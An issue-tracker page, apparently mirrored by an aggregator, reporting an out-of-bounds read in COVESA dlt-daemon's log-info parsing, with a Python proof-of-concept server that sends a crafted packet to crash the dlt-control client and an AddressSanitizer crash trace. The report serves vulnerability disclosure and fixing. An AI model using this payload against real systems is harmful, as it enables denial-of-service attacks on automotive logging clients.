COVESA / COVESA/dlt-daemon

Out-of-Bounds Read in dlt_getloginfo_conv_ascii_to_uint16_t()

Open
#892 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
C
Stars
459
Forks
340
Avg merge
4d 21h
Merged PRs (30d)
2

Description

### Summary

The parsing API located in is vulnerable to an Out-of-Bounds (OOB) Read vulnerability that leads to a client-side Remote Denial of Service (DoS) / Process Crash.

https://github.com/COVESA/dlt-daemon/blob/b84dbc0d1ab35f686dd225956d33c003b5917ab6/src/shared/dlt_common.c#L6199-L6218

The core issue stems from an absolute reliance on the control value managed via the pointer offset to parse hex-encoded elements from the incoming string buffer . The function performs multiple lookahead read operations without performing a boundary check against the actual physical storage capacity or string length of the buffer.

### PoC
```
import socket
import struct
import time

HOST = '127.0.0.1'
PORT = 3490

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_sock:
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_sock.bind((HOST, PORT))
server_sock.listen(1)

conn, addr = server_sock.accept()
with conn:
std_header = b"\x21\x00\x00\x15"
ext_header = b"\x26\x01" + b"APP\x00" + b"CON\x00"
payload = b"\x03\x00\x00\x00" + b"\x07" + b"\xff\xff"

full_packet = std_header + ext_header + payload

conn.sendall(full_packet)

time.sleep(1)
```

### Reproduction Steps
```
$ python3 server.py
$ dlt-control -j 127.0.0.1

=================================================================
==529418==ERROR: AddressSanitizer: SEGV on unknown address 0x5c45d2953000 (pc 0x7caa9aed491b bp 0x000000000000 sp 0x7ffdeb45e4c0 T0)
==529418==The signal is caused by a READ memory access.
#0 0x7caa9aed491b in dlt_getloginfo_conv_ascii_to_uint16_t /root/dlt-daemon/src/shared/dlt_common.c:6210
#1 0x7caa9aec785d in dlt_client_parse_get_log_info_resp_text /root/dlt-daemon/src/lib/dlt_client.c:2123
#2 0x5c45d2936ca0 in dlt_receive_message_callback /root/dlt-daemon/src/console/dlt-control.c:842
#3 0x7caa9aec5803 in dlt_client_main_loop /root/dlt-daemon/src/lib/dlt_client.c:569
#4 0x5c45d2932440 in dlt_process_get_log_info /root/dlt-daemon/src/console/dlt-control.c:203
#5 0x5c45d293613c in main /root/dlt-daemon/src/console/dlt-control.c:744
#6 0x7caa9acc51c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#7 0x7caa9acc528a in __libc_start_main_impl ../csu/libc-start.c:360
#8 0x5c45d2931c64 in _start (/root/dlt-daemon/build/src/console/dlt-control+0x6c64) (BuildId: 10320e967762979391e0299dd7545938abfceb5b)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/dlt-daemon/src/shared/dlt_common.c:6210 in dlt_getloginfo_conv_ascii_to_uint16_t
==529418==ABORTING

```

Contributor guide

No contributing guide indexed for this repository

Research direction

Start with src/shared/dlt_common.c lines 6199-6218 and trace the call through src/lib/dlt_client.c as shown by the sanitizer report. Reproduce the packet with the provided server.py and dlt-control under AddressSanitizer; done means malformed or truncated input no longer causes an out-of-bounds read or process crash.

Written by the indexing model from the issue text.

Assessment

Tech stack
c
Domain
security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
65/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.